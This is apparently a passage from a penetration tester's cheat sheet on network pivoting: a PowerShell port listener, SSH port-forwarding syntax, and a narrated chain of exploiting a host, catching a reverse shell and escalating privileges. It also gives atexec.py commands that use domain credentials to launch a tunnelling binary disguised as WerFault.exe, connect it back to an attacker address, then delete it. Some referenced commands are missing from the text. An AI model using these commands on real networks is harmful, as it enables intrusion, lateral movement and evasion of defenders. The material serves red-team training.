Check if connections are allowed at a certain port (alternative to nc.exe and powercat.ps1):
nc.ps1
# Test-NetConnection -ComputerName 10.10.13.37 -Port 4444$port=$args[0]$endpoint=New-Object System.Net.IPEndPoint([System.Net.IPAddress]::Any,$port)$listener=New-Object System.Net.Sockets.TcpListener $endpoint$listener.Start()Write-Host"Listening on port $port"while($true){$client=$listener.AcceptTcpClient()Write-Host"A client has connected"$client.Close()}
Check if the machine can reach specific remote port when Test-NetConnection is not available (1, 2):
A cheatsheet for SSH Local/Remote Forwarding command syntax:
-L 1111:127.0.0.1:2222: the traffic is forwarded from SSH client via SSH server, so 1111 is listening on client-side and traffic is sent to 2222 on server-side.
-R 2222:127.0.0.1:1111: the traffic is forwarded from SSH server via SSH client, so 2222 is listening on server-side and traffic is sent to 1111 on client-side.
Consider the following example. An attacker has root privileges on Pivot1. He creates the first SSH tunnel (remote port forwarding) to interact with a vulnerable web server on Pivot2. Then he exploits the vulnerability on Pivot2 and triggers it to connect back to Attacker via a reverse-shell (firewall is active, so he needs to pivot through port 443, which is allowed). After that the attacker performs PE on Pivot2 and gets root. Then he creates another tunnel (local port forwarding) over the first one to SSH into Pivot2 from Attacker. Finally, he forwards port 80 over two existing hops to reach another vulnerable web server on Victim.
Notes:
1 For SSH server to listen at 0.0.0.0 instead of 127.0.0.1, the GatewayPorts yes must be set in /etc/ssh/sshd_config.
1 With SSH (or Chisel, for example) server running on the Attacker the same can be achieved by doing local port forwarding instead of remote.
Let's say we're doing a Remote Port Forwarding via SSH (with GatewayPorts yes) through ProxyChains like this:
Then it's crucial to make sure that local connections are excluded from ProxyChains interception via the localnet 127.0.0.0/255.0.0.0 option in proxychains.conf. Otherwise, traffic redirection from server's 192.168.1.11:80 to client's 127.0.0.1:8080 are captured by ProxyChains and never reach the client!
Remote Dynamic Forwarding
Attacker's IP: 10.10.13.37
Victims's IP: 10.10.13.38
An example how to safely set remote dynamic port forwarding (SOCKS) with a builin SSH client.
Generate a dummy SSH key on Victim:
Add dummy_key.pub contents to authorized_keys on Attacker with the following options:
snovvcrash@attacker:~$ vi ~/.ssh/authorized_keys
from="10.10.13.38",command="echo 'Only port forwarding is allowed'",no-agent-forwarding,no-X11-forwarding,no-pty <DUMMY_KEY_PUB>
root@victim:~$ sudo ip link set tap0 up
snovvcrash@attacker:~$ sudo ip link set tap0 up
root@victim:~$ sudo ip link add br0 type bridge
root@victim:~$ sudo ip link set eth0 master br0
root@victim:~$ sudo ip link set tap0 master br0
root@victim:~$ sudo ip link set br0 up
$ atexec.py megacorp.local/snovvcrash:'Passw0rd!'@192.168.1.11 'start "" /b C:\Windows\WerFault.exe -connect 10.10.13.37:8000 -pass "Passw0rd!"'
$ atexec.py megacorp.local/snovvcrash:'Passw0rd!'@192.168.1.11 'taskkill /IM:WerFault.exe /F && del C:\Windows\WerFault.exe'
Or get proc image first to make sure you're killing the right proc and kill by pid -- 'wmic process where "name='"'"'WerFault.exe'"'"'" get ProcessID, ExecutablePath'
